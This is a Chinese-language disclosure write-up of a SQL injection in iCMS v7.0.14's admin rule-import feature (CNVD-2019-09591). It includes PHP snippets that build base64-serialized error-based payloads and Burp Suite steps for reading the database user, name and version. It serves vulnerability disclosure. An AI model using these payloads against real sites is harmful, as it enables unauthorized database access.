該漏洞CNVD-ID: CNVD-2019-09591
漏洞送出CNVD後,待CNVD公示才發出本文。
測試環境:
程式版本:v7.0.14
Windows + firefox + burpsuite + apache2 + PHP5.6.27(phpStudy內建環境)
iCMS官網:https://www.icmsdev.com/
一、漏洞分析
/app/spider/spider_rule.admincp.php 傳入檔案的方式可被利用以繞過全局過濾導緻SQL注入。
傳入檔案内容是序列化的,并經過base64編碼,是以可繞過全局過濾。

這裡組裝SQL語句。
/iPHP/core/iDB.class.php
這裡執行SQL語句。
/iPHP/core/DB/Mysqli.class.php
二、漏洞測試
1、 安裝 http://localhost/install/index.php
2、 建立一個.php檔案,寫入如下代碼:
<?php
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>
運作這段代碼将得到一段payload,用于BurpSuite裡執行。
3、 登入管理背景,選擇“采集管理”:
4、先選擇“采集規則”, 再選擇“導入規則”:
在桌面建立一個.txt檔案,寫入任意内容。打開burpsuite攔截後選擇“要導入的規則”,導入該.txt檔案。
5、burpsuite攔截,上面第二步得到的payload複制到這裡;發到repeater
6、repeater裡分别擷取user(), database(), version(), user()
<?php
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>
<?php
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select version()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>